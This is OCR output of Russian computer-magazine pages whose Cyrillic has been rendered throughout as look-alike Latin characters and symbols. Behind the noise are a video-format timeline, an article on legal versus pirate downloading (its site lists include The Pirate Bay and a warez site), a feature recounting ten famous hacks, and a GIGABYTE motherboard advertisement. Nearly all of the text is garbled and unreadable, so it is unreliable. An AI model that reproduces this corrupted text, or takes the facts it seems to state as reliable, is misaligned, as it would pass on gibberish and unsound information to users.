ycipoMCTBO Becmio 6onee 20 kt 
i/i npoflaBanocb b CLUA no peHe 
OKono $3000. 


1976 

Video Home System 

KoivinaHMfl JVC pa3pa6oiana m 

BbinycTM^a Ha nnoHCKMM pbiHOK 

aHanoroBbm cpopiviaT BHfleo3ann- 
cm — BMfleoKacceTbi VHS (Video 
Home System). B 1984 rofly VHS 
6bm yTBepwfleH b KanecTBe ciaH- 
flapia flnn SbnoBOM BHfleo3anncn. 


1996 


Hanaiio apbi DVD 

KoivinaHMM Sony m Philips npefl- 

CTaBMJlM HOBblM OnTMHeCKMM 
Hocmenb MHCpopMapnn Bbico- 
kom nnoTHOCTM. CeroflHH ciaH- 
.qapT DVD noflflep>KMBaeTcn 
BCeMI/l KpynHbIMH KOMnaHMHMM- 
np0M3B0flMTeJlHMM SblTOBOM 
TeXHI/IKM H HO. 



Harne Bpeivm 

BBK 0MP1024H0 

KoMnaHMH BBK npeflCTaBM^a ho- 
Bbm yHMBepcanbHbm DVD-n^eep, 
KOTOpbIM CnOCOfieH B0Cnp0M3B0- 
flmb nonHopeHHoe BMfleo Bbico- 
kom neTKOCTM b cpopMaie MKV, 
3anncaHHoe Ha oObiHHOM omn- 
necKOM DVD. 

FULL HD 

1020x1080 






n:n^ HOBOCTM MmepHeT 


CKaHMBaeM 

Hto mo>kho CKanaTb 1/13 1 /lHTepHeia Ha 3 aKOHHbix ocHOBaHi/mx? 

Mbi paccKa>KeM o jiynwHx cawTax, KOTopbie roTOBbi decrviaTHO 
npeflOCTaBMTb BaM cpi/i/ibivibi, My 3 biKy m nporpaMMHoe ofiecneneHi/ie. 


source 



Audio ^ Video 

Eusm«£ L Enierpi ; 2 

Cfluwnumesfl-bni 

Devfdpir-efit 


Graphics 

iKidntc: & tntjmcCnng 
Security (AM* j 




nojiynaMTe 6ecnnaTHbie nporpaMMbi To/ibKo 
M3 npoBepeHHbix m HaflewHbix mctohhmkob, 
HTo6bi M36e>KaTb /lOByweK 


nojiHyio BepCHio aoporocTonmero 
rpac^HHecKoro peaaKTOpa hjih cepHH- 
HblH HOMep JXJlft aHTHBHpyCHOH IIpO- 
rpaMMBi mo>kho CKanaTb c nHpaTCKoro 
cairra hjih 4 >aHjioo 6 MeHHoro pecypca, 
Taxoro KaK RapidShare. OaHaKO oto 
H e 3 aKOHHO, npHHeM OTCJieanTb Hapy- 
niHTejiH HecjioacHO — 6 bijio 6 bi xejia- 
HHe npaBoodjiaflaTejm. A oho c Kaac- 
ABIM TOAOM CTaHOBHTCH BCe CHJIBHee. 

BpeflOHOCHbie nporpaMMbi 
b Harpy3Ky 

Ecjih bbi HadnpaeTe b hohckobom 
cepBHce 3anpocBi Bpoae «keygen» hjih 
« cepHHHBiH HOMep», to nepBBie ccbiji- 
KH H3 CnHCKa pe3yjIBTaTOB c 6ojibhioh 


BECnJIATHbIM COOT 

Mcnojib 30 BaHne B 3 JioiviaHHbix Bepaw nporpaMM He 3 aK 0 HH 0 . Ha caiiTax c HeKOM- 
MepnecKHM flO Bbi Hanfleie dojib >Ke KanecTBeHHbie, ho jiera/ibHbie yimimbi. 


aojien BeponTHOCTH npHBeayr Bac Ha 
3 apa 3 ceHHBie caiiTbi, pacnpocTpaHH- 
lomne TpOHHBI H BHpyCBI. OnaCHOCTB 
3 apaaceHHH CHHxcaeTCH npn CKanHBa- 
hhh nporpaMM c TaKHx kojijickthb - 
hbix 6jiotob, Kax www.nnm.ru, oaHa- 
ko 6ojibhihhctbo yTHjiHT pa3MemeHO 
TaM HejierajiBHO. 

lOpHAHHeCKH CnOpHOH HBJIHeTCH 3 a- 
rpy 3 Ka CTapBix BepcHH npHjioaceHHH. 
Hx MOJKHO HaHTH, HanpHMep, Ha 
caHTe www.oldversion.com. np 0 H 3 B 0 - 
AHTejiH, KaK npaBHjio, He npHBeTCT- 
ByiOT pacnpocTpaHeHHe TaKoro cocj)- 
Ta, ho nocKOJiBKy c KOMMepnecKOH 
TOHKH 3 peHHH OHH npH 3 T 0 M HHHe- 
ro He TepmoT, noaodHbie roiomaaKH 
no 3 BOJHHOT 6 ecnpennTCTBeHH 0 CKa- 
HHBaTB nporpaMMbi. 

A 6 cojhotho jierajibHO mojkho 3 arpy- 
JKaTb npHJIOJKeHHH C OTKpbITbIM HC- 

xoaHbiM KoaoM. Cpean 
hhx cyuiecTByeT 3 aMe- 
Ha jxim jiiodoro kom- 
MepnecKoro 110 . TaK, 
c H 3 BecTHoro pecyp- 
ca SourceForge mojkho 
CKanaTb nporpaMMbi 
AJiH jiK)6bix Hyaca. 


ItonHbie BepcMM KOMMepne- 
ckmx npoflyKTOB 6 ecruiaTH 0 
mo>kho CKanaTb TO/ibKo 
c rmpaTCKMx caMTOB 


BecnjiaTHbm cotpT 

• www.sourceforge.net 

• www.download.chip.eu/ru 
€) www.hotud.org 

€ www.oldversion.com 

• www.warez-load.com 

• www.thepiratebay.org 



Ciapoe 110, KOTopoe 6ojibiije He noaqep>KM- 
BaeTcn npoM3BOflMTeneM, mo>kho HaiiTM 
Ha cnepMaabHbix pecypcax 
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/lEfAJlbHOE CKAHHBAHl/IE 


SSfl 3AHPEIUEH0 


OOTO: K0MnAHI/ll/l-nP0l/l3B0fll/ITE/ll/l; MIPAIWFOTOLIA.COM 








jieranbHO 




MY3blKA flAPOM 

Bbi MO>Keie nojiyHMTb MHorne necHM 6 ecruiaTHO m npi/i stom 
33 K 0 HH 0 , ecjin Gyaeie MCKaTb hx Ha «npaBi/uibHbix» pecypcax. 


BemaHHe 3anpemeHo, oa- 
HaKO npOKOHTpOJIHpOBaTL 
3TO HeB03M0vKH0 . B a aH- 

hom cjiynae npaBoodjiaaa- 
Tejin Moiyr tojibko cb r - 
3aTBCB c BjraAejTbuaMH 
cepBHca h nonpocHTB yaa- 
JIHTb C CaHTa JIHIjeH3HOH- 
HblH KOHTeHT. 

MP 3 nnn Kawfloro 

• www.music.yandex.ru 

• www.mixcloud.com 

• www.eggtop.com 

• www.last.fm 

• www.prostopleer.com 

• www.youtube.com 

• www.vkontakte.ru 

• www.thepiratebay.org 

• www.crymuz.ru 






K 0 IVm 03 MllMM Ma/ 10 l/l 3 BeCTHblX I/I HaHMHaiOLMMX My 3 blKaHT 0 B 

mo>kho cKanaib c cawia EggTop 


Popular 


The most popular Gloudcasts (rai 

tffn Hilt nut f.lflfiiri 

Fcfk^mI M« Funky 1 . I 


BARON RETF & COI 


riepeflann noTOKOBoro paqno, Taxoro xax Mixcloud, nojiynm- 
ca coxpaHm Ha Ancxe TOJibxo c noMombio cnepi/ia/ibHoro flO 


Y 3apy6e>KHbix nojn>30BaTejieH ecTB 
IHHpOKHH BBl6op B03M0>KH0CTeH JlJlft 
jierajiBHoro CKanHBaHHH My3biKH ecjin 
He 6ecnjiaTHO, to 3a MHHHMajibHbie 
aeHbra. A bot y Hac Bee He Tax paay*Ho: 
6ojibinaB nacTb cairroB, npeaJiaraiomHx 
3a He6ojibinyK) cyMMy 3arpy3HTb My3bi- 
KaJIbHbie TpeKH, B aeHCTBHTejIbHOCTH He 
HMeeT npaBa Ha hx pacnpocTpaHeHne. 
OaHaKO CHTyauHH nocTeneHHO MenacT- 
ch. HeaaBHo hohbhjich cepBHc «RHaeKc. 
My3biKa», Ha kotopom min Geciuiamo- 
ro npocjiyiHHBaHHa aocTyriHbi 6ojiee 
800 000 KOMno3HHHH ot 50 npaBOo6jia- 
aaTejien. IIpHneM b cjiynae c HeKOTOpbi- 
MH H3 HHX B03M0XCH0 CKaHHBaHHe HeJIbIX 

ajibGoMOB, a nocjie peracTpaaHH Ha cep- 
BHCe npeaOCTaBJTHeTCH (JjyHKHHH COCTaB- 
JieHHH TLJieHJIHCTOB . 


lloTOKOBoe BemaHiie: Heorpa- 
HMHeHHblM 06beM My 3 blKM 


HencnepnaeMbiM hctohhhkom ayano 
HBJI5HOTCH nOTOKOBbie paaHOCTaHHHM. 
BoJIblHHHCTBO H3 HHX n03B0JI5H0T TOJIB- 
KO cjiymaTB TpeKH, ho He CKanHBaTb 
hx. BnponeM, c noMombio TaKHx npor- 
paMMHbix HHCTpyMeHTOB, KaK Webradio 
Recorder Chilirec, komho3hhhh mo>kho 
coxpaHBTb Ha vKecTKOM ancKe. Heao- 
CTaTOK aaHHoro cnocoda coctoht b 
TOM, HTO npH 3TOM Taioxe 3anHCbiBa- 
iotch rojioca anaxceeB h peKjiaMHbie 
obBBBjieHHB. KpOMe toto, KanecTBO 
3Byxa aajiexo ot naeajibHoro. 04)hu;h- 
ajibHO coxpaHHTb noTOKOBoe MP3- 



Pa 3 ivieuieHMe 
n CKaHHBanne 

My 3 bixaabHbix 
CpaMTIOB B CpaMHO- 

odMeHHbix cem 
Mo>xeT floporo 
BaM 060 MTI/ICb 
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n:n^ HOBOCTM MmepHeT 



BnneoapxnB 


jg IIOTOKOBOe 

; 14:27:04 


MoCKOBCKOe 

BpeMq 


KMHO fl/lfl BCEX 

CKaHMBaHne <fcmibMOB 3anpemeH0, oflHaKo b Cem 
MO>KHO H3MTM JieraJlbHOe nOTOKOBOe BMfleO. 


"BfatPSl VP cnOPTHBHbin BYKMEKEP ■ KA3HHO - HrPbl HOKEP 4 


□ 0E3 H 

H + i 


7 ’ ^ytOon npMia* rp«Mcn*M*<* Iihimui ■ Cm*h* 


:ta ► 
:C3B ► 
CBS ► 

obi ► 


Hji y— 


nonpooyH ccusac 


flociyn 
K flOTOKO- 
BOMy BMfleO 

coBepweHHo 

6e3onaceH 


Te, kto cbo 6 oaho CKa^HBaeT hobhh- 
xh KHHeMaTorpa 4 )a, aBTOMairraecxH 
CTaHOBHTCH npecTynHHKaMH. Khho- 
ctyahh He pacnpocTpaHHiOT cboh 
6 jiOK 6 acTepBi 6 ecnjiaTHO, Tax hto hx 
K onHH b Cera HBjiiHOTCii HejierajiB- 
hbimh. TeM He MeHee npn ncnojiB- 
30 BaHHH (j}aHJI006MeHHBIX CepBHCOB 

Hano£o 6 He Hotfile HAeHTHcjDHiiHpo- 
BaTB cxaHHBaiomero npaxTnnecxH 
HCB 03 M 0 XCH 0 . 

BnponeM, b PyHeTe HanHHaiOT no- 
5 IBJI 5 ITBC 5 I CepBHCBI, KOTOpBie (j)yHX- 
HJHOHHpyiOT COBepnieHHO 3 aKOHHO. 
B hx HHCJie, HanpHMep, caHT «Bh- 
fleo.py». Bee npettCTaBjieHHBie Ha HeM 
(J)HJIBMBI paCnpOCTpaHiHOTCil Ha oc- 
HOBaHHH JIHIjeH 3 HOHHBIX flOTOBOpOB, 

3 aKjiiOHaeMBix xax c pocchhcxhmh, 
Tax h HHOCTpaHHBiMH npaBoo 6 jia,zta- 
TejiHMH. Ha caHTe moxcho HaiiTH j\?l- 
xe «ropiiHHe hobhhkh», ho tojibko 3 a 
AeHBrn. BnponeM, b pa 3 flejie «Cmot- 
pH 6 ecnjiaTHO» b OHjiaiiH-peacHMe 
moxcho yBHaeTB 6 ojiee 300 4 )hjibmob 

H MyjILT(J)HJIBMOB. B OCHOBHOM 3 TO 
CTaptie KHHOJieHTBi, aBTopcKHe npa- 


BemaHue 

flpflMOM 3 (pup 


TeneKaHanbi 

flaiOT B03M0>KH0CTb 

CMOTpeTb cboi/i npor- 
paMMbi b 3 anncn 


Kpyr^ocyTOHHoe BeiyaHMe nepeoro Kanaka, cootb' 
MocKoecKyK) o6/iadb. 


npa mom 3cf>np nepBoro KaHa/ia. 

WBM "nOHflTb. npOCTMTb" 

nporpaMMa “noHBTb. npocTWb." paca«3b©a( 
npocrbie nraAn.... 

15:00 HOBOCTM C CybTMTpaMM 

EweflHMiHas i*<pop^auwi-HaH rpqrpam$. 0 


nOMOLLlb 


Ecnn Bu wnTaeTe stot TewcT, to y eac He yciaHoeneHO | 
npocMOTpa BMAeonoTOKa. 

Ecnw Bbi ncnonb3yeie 6pay3ep Mozilla Firefbx mhm Open 
o6HOBneHHyKD BepcwKi nnarnHa Microsoft® Windows Me 
CTpaHMMbJ. 

TaK xe Bbi Moxeie CMOTpeTb TpaHcn^HHD npn noMomu 
pa6oTaei Ha Bcex nonynapHbix OC. 


flo 350 KBht/c 


Ba Ha KOTOpBie yace yTpaTHjiH cnjiy 
hjih HHKor,aa He cymecTBOBajiH. 

noTOKOBoe BMfleo: 

UIMpOKMe B03M01KH0CTM 

nOCMOTpeTB OHJiaHH TeJieBH 3 HOH- 
HBie moy, a Taxace ^hjibmbi h cepn- 
ajiBi MoacHO, HanpHMep, Ha cepBnce 
«BHAeo@Mail.ru». Tax, xoMnaHna 
Digital Access npettocTaBHjia AaHHO- 
My pecypcy 6 ojiee 20 000 jnmeH 3 H- 

OHHBIX pOJIHXOB. 

B ijejiOM, c TejienporpaMMaMH b 
MHT epHeTe ttejia oGctoht Henjio- 
xo. Bo-nepBBix, MHorne TejiexaHajiBi 


cpmibMbi m Tenemoy decruiaTHO 

• www.video.ru 

• http://video.mail.ru 

• www.ivi.ru 

• www.livetv.ru 

• www.rus-torrents.ru 

• www.kinozal.tv 

• www.rutracker.org 


no 3 BOJi 5 HOT CMOTpeTb cboh nepetta- 
HH B 3 anHCH. Bo-BTOpBIX, TpaHCJIH- 
ijhh njiaTHBix h decnjiaTHtix hho- 
CTpaHHBix xaHajiOB flocTynHBi nepe 3 
P 2 P-nOTOXH. B 03 MOaCHO, BaM npn- 
AeTCH yCTaHOBHTB AOnOJIHHTeJIBHyiO 
nporpaMMy-npOHrpBiBaTejiB, o^Haxo 
BO MHOTHX CJiynailX flOCTaTOHHO H 

oGbihhoto Windows Media Player. 
HanGojiBnien nonyjiapHOCTBK) nojiB- 


3 yeTCii cnopTHBHoe P 2 P-TejieBHfle- 
Hne. Ha cepBnce LiveTV AOCTynHBi 

npHMBie TpaHCJIHItHH pa 3 JIHHHBIX co- 
peBHOBaHHH. lOpHAHHeCXH nOTOXO- 
Boe BentaHHe TejiexaHajiOB MoxeT 
6 BITB H He 3 aXOHHBIM, HO, C flpyrOH 
CTOpOHLI, HHXTO He B COCTOilHHH 
npHBJieHB X OTBeTCTBeHHOCTH nOJIB- 
30 BaTejieii, npocMaTpHBaioiitHx sth 
nepe^ann. am? 



(DaM/ioo6ivieH- 
Hbie cepBMCbi 

npefl/iaraioT 
BecbMa pa 3 H 006 - 
pa 3 HblM KOHTeHT, 
ho ero cKaHMBa- 
Hi/ie He3aK0HH0 
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JlErAJlbHOE CKAHHBAHl/IE 



K}PHflPIHECK !4 CnOPHO 



3 AI 1 PELI 4 EHO 







flepBafl .qecflTKa HOBOCTM 


1 0 CaMbIX rpOMKMX 

aiax xaxepoB 

KMHOMHflycTpMfl noBep>KeHa, Te/iecfDOHHbie KOMnam/ii/i nocpaMJieHbi, 
NASA ocTa/iocb 6e3 HJ10 — Mbi paccKa>KeM o fleca™ xaxepcKMx aiaxax, 
KOTopbie npoM3Be/iM caMoe cmibHoe BneHaineHMe Ha coBpeMeHHbm Mwp. 


<Pa/lbCHCj)MKamifl Bbl6opOB 

He3aAO/iro ao Bbi6opoB b HMAepjiaHAax b 1996 roAy aK- 
TMBMCTbl npOAeMOHCTpMpOBa/lM, HaCKOJlbKO JierKO B3J10- 
MaTb KOMnbfOTep, noACHMTbmafoiAMM pe3y/ibTaTbi ronoco- 
B3HM51. reHepa/lbHblM AHpeKTOp 4)MpMbl-npOM3BOAMTe/151 
3aflB nan , hto y xaKepoB HeT hm eAMHoro rnaHca. TeM He 
MeHee Mawi/ma AJifl Bbi6opoB 6bma B3/iOMaHa, npMneM 
3 to npoM30w/io b npaMOM Te/ie3c|DMpe. 


B 3 jiom Xbox 360 

Oh CHfui AaMn naMATM, HayHM/ica 
o6xoAmb npoBepKy UMcfipoBbix 
noAnnceM m b KOHLie kohljob 
OKOHH aTe/lbHO B3/10Ma/l CMCTe- 
Mbl 3aiAMTbl KOHCO/1M — 3HAPKD 
XyaHr, M3Becmbm noA hmkom 
Bunnie, nepexBaTM/i y Microsoft 
ynpaB/ieHMeXbox 360. 



DRM: no/iHoe nopawemie 

B TeneHMe mhotmx zieT KMHOMHAycrpMfl orraHM- 
Ba/ia CMCTeMy 3aLAMTbl OT TMpa>KMpOBaHM51 AaHHbIX 
c DVD, ncno/ib30BaBLuyK) CSS. Ho b 1999 roAy 
npon3BOAme^5iM npMW/iocb Ha6/iK)AaTb, KaK 
xaKepbi «npenapnpoBa/in» CSS, b pe3y/ibTaTe 
Hero cra/io B03M0>KHbiM KonnpoBaHne c(dm/i bMOB 
C AHCKOB OAHMM Ha>KaTMeM KHOnKM. 


HepBb-nepBonpoxoAeu 



riepBbm ceieBOM 

HepBb, H33BaHHblM 
b necTb CBoero co3Aa- 
Te/m Po6epia Moppnca, 
6bi/i BbinyiAeH Ha bojiio 
b 1988 roAy. Oh CTa/i 
npMHMHOM nepBOM 3nnAe- 
MMM, Bbl3B3H HOM HOBbIM 

K/iaccoM BpeAOHocHoro 110. 
1/ICXOAHblM KOA 3TOrO BMpy- 
ca ceroAH^ xpaHMTca Ha 
AMCKe B OAHOM M3 My3eeB. 


g 3aqeM BCKpbiBaTb He3anepiyio ABepb? 

J B 1979 roAy KeBMH Mmthmk npoHMK b ceTb KOMnbKrrep- 
| hom cJoMpMbi DEC, npodo 3anpocMB ot ny>Koro mmchm 
I napo/iby aAMMHMCTpaiopa. 



Cbmct BMecTO Aener 


fleTCKa^ CBMCTy/i bKa, KOTopaa 
6bi/ia B/io>KeHa b KanecTBe no- 
AapKa b ynaKOBKy c mkkjim, 
noMora/ia flwoHy flpePinepy 
o6MaHbiBaib Te/iecjDOHHbiM an- 
napaT. 3ByK, M3AaBaeMbm stom 
M rpyiuKOM npM CBMde b Tpy6- 
Ky, no3BO/i5i/i coBepiuaTb 3 boh- 
km a6co^K)THo 6ecn/iaTH0. 



Kpama y mmpobom 3 kohomhm 6 ckom 3/iMTbi 

flaHHbie KpeAMTHbix KapT, m MeHa, napo/iM m Te/ie- 
cpoHHbie HOMepa MoweT pa3y3HaTb npaKTMnecKM 
/ik)6om xaKep-/ifo6MTe/ib. B 2001 roAy btm CBeAOHMfl 
6bm m yKpaAeHbi c cepBepa BceMMpHoro skohomm- 
necKoro c|DopyMa — oahom m 3 caMbix cepbe3Hbix 
Me>KAyHapoAHbix opraH M3ai4 M m b CBoeM ccjiepe. 


LlMcjDpoBbie cynepuimioHbi 


$300 M/ipA CTOMT pa3- 
pa6oTKa HOBoro mc- 
Tpe6MTe^5i, aHa/iorMH- 
Horo F-35 Lightning II. 
CyMMy, KOTopyfo MOweT 
CKonMTb He Ka>KAoe 
rocyAapcTBO, xaKepbi 
«ta Hy/i m » Tepa6aMTa- 
MM — B BMAe AaHHbIX 
o pa3pa6oTKax c cep- 
BepoB lleHTaroHa. 
EnaBHbiM noA03peBae- 
MblM B Kpa>Ke — KMTaM. 



McTUHa rfle-To paflOM 

BpMTaHCKMM IT-cneuMa^Md l"3pM MaKKMHHOH B3/iOMa/i 
ceTM lleHTaroHa, aMepMKaHCKOM apMMM m NASA — 

53 ko 6 bi b noMCKax MHcf)opMai4MM 06 H/10. Ec/im CoeAM- 
HeHHoe Kopo/ieBCTBO peiuMT BbiAaTb ero CL1IA, MaK- 
KMHHOHy rp03MT 33KJlK)HeHMe CpOKOM ao 60 /ieT. 


<J>MHaHcoBafl acjjepa 

B 1984 roAy ynacTHMKM Chaos Computer Club B3/iOMa/in 
MHTepaKTMBHyio 6aHKOBCKyfo CMCTeMy BTX, no/iyHM/iM 
AOCTyn k AaHHbiM oahoto M3 6aHKOB TaM6ypra m ch^ijim c 
ero cneTOB 134 000 HeMeuKMx MapoK. fleHbrM BepHyjiMCb 
b 6aHK, ho AOBepne k BTX 6bmo no^HocTbfo yTpaneHo. 
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rex Honors 


033h\ mirant/ra 


cDajbi nuTaHw^ 


tf>a3bi nuraHMa 


cpaabi nuTaHwa 


GIGABYTE 


MHTe/uieKTyajibHbie BbigwoieHna HagMHaiOTCfl 3,qecb 


GIGABYTE 


Byflbie roTOBbi pacciaTbCR c ytTOHSujMMHCE ciepecminaiviw, npno6peiaR Hoeyio CHCiewtHyio ruiaTy GIGABYTE Ha 6a3e MunceioB Intel* 
6<epun. KamflbiM KOMnoHem B cocTaee w3Aenni4 stow cepww noflo6paH a^R peanM3ai_iwi4 eAWnofi penH - AoBwibCR ncKmoHme/ibHow 
npoM3BOflHTe/ibHOCTH i/i TGHHOciH BbtHMcneHwPT CpeAi/i HTUoneBbix npeHMymecTB npoAyKJOB GIGABYTE hobow cepww, nonnocTbio co- 
BMecTHMbix c npoMeccopaiviM ceMewcTsa Intel** CoreTM BToporo noKoneHHR, yHWKa/ibHbie c|>i4pMeHHbie TexHO/ion/m Ultra Durable 3TM 
H Dual CPU Power, KOTopbie ofiecneMMBaioT wcK/iiomiTejibHyio HaAe?KHOCTb w BnenamRiomee fibicTpoAewciBwe cwcreMbi. 


Leaden* 3*0 

Lcautv in Motherb oard 

CucieMHbie n/iaTbi GIGABYTE 
Ha 6a3e mnnceTOB Intel® 6-cepnn 


Oflo6peHO Intel 

inteisil 


BeaynpeHHoe KanecTBO i\enm nt/trani/tR 1411 


CHIPSET 


H67 






GORE 


CHIPSET 


P67 


HoBbiw flH3aMH VRD-MOflyjia (Voltage Regulator Down, cneuw^MKaiiMfl VRD 1 2) 

Bee CMcreMHbie nnatbi GIGABYTE Ha 6a3e gwnceTOB Intel” P67/H67 Express 

ocHameHbi PWM-KOHtponnepOM KownaHMw Intersil nyflOB/ieTBOpflraTTpe6oBaHMflMcneMM<t>wKaLii4n VRD 12 

CucreMHbie nnaTbi GIGABYTE Ha 6aae Munceroa Intel 6-cepnn cnpoeKTupoBanw b nonHOM cootbctctbhh c Tpe6oBBHMHWW cnei4H<t>H- 
Kauinn VRD 1 2 [Voltage Regulator Down). KmoneBOM KOMnoHeHT Hoeoro VRD-MOflynn - cepTmtmuwpoBaHHbtii KOHtpo/inep KOMnanmi 
Intersil HfleHTi4ct>MKaL|i4H h o6weH WH^opMaMMew Me>KAy Mn w KOHTpo/i/iepoM ocyiAecTB/tfleicfl cpe/icTBaMM nocneAGBaietibHoro wh- 
Teptfietfca SerialVID (Serial Voltage Identification), 3 to no3eo/iReT nosbicwTb 34)cJ>eKTi4BH0CTb npoiteAyp ynpaBnenuR cwmanaww w chh- 
3HTb, 8 KOHeHHOivi cneie, aHepronoTpeG/ienvie* 



CrUCOK 3 BTOpMM U3 H HblH piinfipOfi: 

MocK&a: HI/tKC - KoMnworepHbw Cyr>epMapf(©T (■495)974-33-33, O-Uenrp (495) 925-64-47. Neliab (495)784-64-90, Oopyw (495)775-775-9. CaHKT-nerrep6ypr Keft [812)074, Kownwo- 
TepHbiS Minp (812)333-00-33 , Phk KwnbiOTepc (812)327-34-10. K3nMapr (812)334-99-39. HMOKHHfi Hoaropqfl. flOMauiHMfi tfOMfibharep (831)411-87-07. PoCTOB-Ha-flOHy: KopannMMKpo 
(863)29945-90 BonrorpaA. Sunrise (8442)2S05-25, Fonnoza (8442)26-51-50. KpacHOflap: BnaAOC (861)210-10-01, SNR (861)210-00-66. KasaHt: Melt (843)264 25 84 Cawapa npar- 
Ma (8462)701-701. CapanoB: KoMnbioMapKieT (8452)5242-19, ATTO (8452)444-144. Bopouewc CaMH (4732)54-00-00. ExaTCp*w6ypr TpMJiaMH (343)378-70-70. Cnaiiic (343)371-36-90. 


Bee TDBBUHbie JH3KH H TlOF OTHHf! npt1Hafl/l#)KaT US MKCHHUblM BJtaAenbUilYl I^O&pawe+IHH WOryT GbJTb W3MeH8HH tH?3 (IpeflM PH Ti?,1 bHQTO V8§40Mfleh^H. 

KosinjHk'H GIGABYTE ne h<?mt o th &l£ tu 6 h hoc t h U m?tT^6wfHi.Hy<tj pj6ofy tHtffrww mv\ KovnomeMtou a pe jyntt j te "pa iroHd Overt locking i. Pe>vii»4o. 




BblCrpblW OTKUHKl 


BbicoMatiiuafl Hafle^Hocib! 


nOBbUJjeHHdfl TOMHOCTb! 


CunoBbie nonesbie TpaHSHCTOpbi x 2 HnouiflHb paiiMiimcHun noMnDHQHTCB 

Jdpawaep cnenwaflHawpoeaHHQvi MC xl c0KpflLyeHfl Ha 


CTaHAapTHbJM rtoneaoii TpamneTop 
+ Apansep cnew*amt3HpOBaHHOH MC 


otcyrnpywi 

Her HeoftjOflKwxm t aHanoro-LiM$fKiK>u, w m^po- 
ahUirtOTMaw np«i>i>J 30 Bat*rtrt ynfiatJhHBinw-o f liman a 

nocnenoedTefibHoctb nwnyfifeCOB ot annapar- 
Moro PWM-KOMTpcnjiepa nepeftaeicn Ha kqm- 

noHeHTW VftM-MOflyjiB 6 ea HeotjMOAMMqc™ 
hx npeo 6 pa 3 oaaHMFi wa aHanoroEow (jjopwbt e 
m^posypo w o 6 p&tho b ananoroeyio, uto ikj- 
ifiOJIflMT C^OpMUpO-tUnti PblCTpNH, OTKTTMK cm- 
ctcmn 14 onepamBMG saptHpoflarb MdujHixtb 
e ycnoBHAx paj/wHHoti jarpy jkm nn. 


nnjBUfli MJWfMflb HftnpR#JPW«H BJ 1 IH un 

OrcyrcTBjwT miihGkm aHCNperrtMMMH CMmaiu 


&ejynpe*Jl*MH JIMMKK 
TflwnKHeH fJHCK C&M CHCTPMbl 

Her Heo6xoAMMMTrt aaaeiicT&oeaTb npo- 
rpai'-'.MMpyfiwyhci noniKy Ann Q6paGa™« 
ynpaanaNDLUHM cvirHanoB PWM-KOHrponjiepa. 
Tbkhm oSpaaoM, CHtwcaercrt pwcK eo3hmk- 
HoeeHkia nporpawMHux owuifon, koto 
pwe woryT nogneub aa co 6 om rwxoa 

M 3 CTpOS LIH. jfflj 


McKjnoitHteAw&fl aauiHuieHHPCfb 103401*0 or 

HyrdTHRHDro eojfleHCTBHa aneicrpocTaiwie- 
CKMX M DJltKTpM H DCKM X HOM£?X r Hafl£*i.HaH 3 a- 

luhtd KownoneHTOB ot paspyweHKR h xaae- 
ctb&hhmk ewruan PWM-KOKtpcmfiepa. 


nctoteAosaTejnibHocTb M*inyflbco& ot annapa* 
Hero PWM'KOHTppJiAepa npeodpaayeTcn He- 
WMCAnwTenhHO b pewMvie peartbHoro H-pewc- 
hh, MHHyn npoueijypy flHCKpeTHaaMviH cvirwa 
aob 6 ptiifcpOByio <^opM(y. 3 ro noasameT Hsfie- 
xsaTb pwcKa noR&neHHB owm6ok na aTane amc- 

KpeTMULJMM 6 OCOfeHttOCTM B te MOM&MTW, 
kqtab aunniiTyAa curnana m jMeHnercn 04UHt, 
6blCTpO- 


Cnctertnbie nflatw GIGABYTE hb Gase 4Miice- 
tob Intel* 6 -cepnn nonHOCTbio yfloenoTeopRNDT 
TpefioBBHMaM cnewk^MinauHM VRD U k oGe- 
cneMHsaioT crafimibHoe, Hafl,no*aii;ero Kane- 
eirsa, nuTanne npoueccopos Intel" Corel M ho- 
eoro noxofieHMH. 


Anrupamafl ^HwitnH CPU Pgw?r Engine peanKic«ai4» cpeflciM* 
wa HONTponntpj Pntersi! kowitjhwb fnieriil - tteflyuirtd npowwo- 

nwrcBfr, rrwuJHjrutiHpyiOiiuiwn Hi Bt*nyCK£ **Ji0p;0rtfK>kO90H>v 

TenbHiMX h cwenb cMnoauK MC » ocwhhm nocraaujHA 

pcurtHrtvi, ttoiopt# ytPWttHO npwewi*«ircfl i cwTtwwy* nnarw 
GIGABYTE t t«TJfte V*tMA^'P«jiyfieii, 


P67A'UD7 


Driver <4 

MOSFET 


Driver-MOSFET 

MHTerpaMnn VRM-KOMnoHeHTOB 


B cocrasTunoBoro MQ[\ynn pery.nHTopa Hanp^eHUB nwiaHna Ljn (VRM-MOfly/ibJ BxoflflTflpoccenw, KOHfleHcaTopbi, noneBweipaH3HCTopbi r a TaioKeflpaw- 
EtepcneiJitianw3MpoBaHN0i4 MUKpocxewbi (MCK CornacHocneun^Kauww Intel, KOTOpas pernaMeHTUpyeT pa6oiy Apa^eepa noneetiJcTpaH3MCTOpoB n cne- 
UMann3tipoBaHHbix iwnKpocxeM, 3KCKni03MBHbie VRM-MOfly/iw GIGABYTE cnocoSnbi ^yHKUwoHupoBaTb na 6onee BbicoKwx MatTOTax, reHepwpyfl c aanacowi 
Ty MoniHOCTb, KOTopaa noxpeSyeTCH coBpeMeHHWM b bi co kg npon 3 Bo^wreribH bi m npoueccopaw a^h ycneujHoro BNno/iHeHMH nocraBneHHbix aaflan. Kpo- 
Meroro, Apaweep cnoco6en o6pa6aTbieaTb Macro 3anpocoe H noMoraiOLAvfx onrnMH3nposaTb pa6ory VRM-wioflyna, BbiCBo6o?KAanTeivicaMt>iM pecypcoi Ufl, 


i eKnimci 


BmhkhA 


CBepxHaAe>KHaa 3 ainnra 

GIGABYTE DualBIOS™ m ^KecTKne fliiCKM eMKOCTbio 3 T6aPiT 


BanaieKTOBaHHa^i TexHO/iorwH GIGABYTE DualBiOS™ npniBana oSecneMMTb paQoTocnocoQHOCTb I1K b rex c/iyMaax, Korfla MMKpoKOfl BIOS noBpe?KfleH 
v\m MHKpocxewa Bbiiuna M 3 CTpofl. C arow Lien bio Ha cwCTeiYiHbix nnatax GIGABYTE yCTanaennsaioTCB flee MMKpocxeMbi BIOS (ocHOBHan v\ pe 3 epBHaa). 
JV1nKpocxeMa-fly6nep aBTorvian^MecKM, 6e3 yMacTMH nonbsosaTenn, o6ecneMHT 3arpy3«y llK r HanpwMep, nooie Bupycnow aiaKM unti HeKoppeKTHO bn- 
nonH6HHOi?i npoueAypw o^HOBneHHfl MMKpOKOfla ocho&hom MC BIOS, Kpo^e roro P DualBiOS ™ renepb noflfiepwvisaeT aarpyaKy c wectKoro A^CKa ew* 
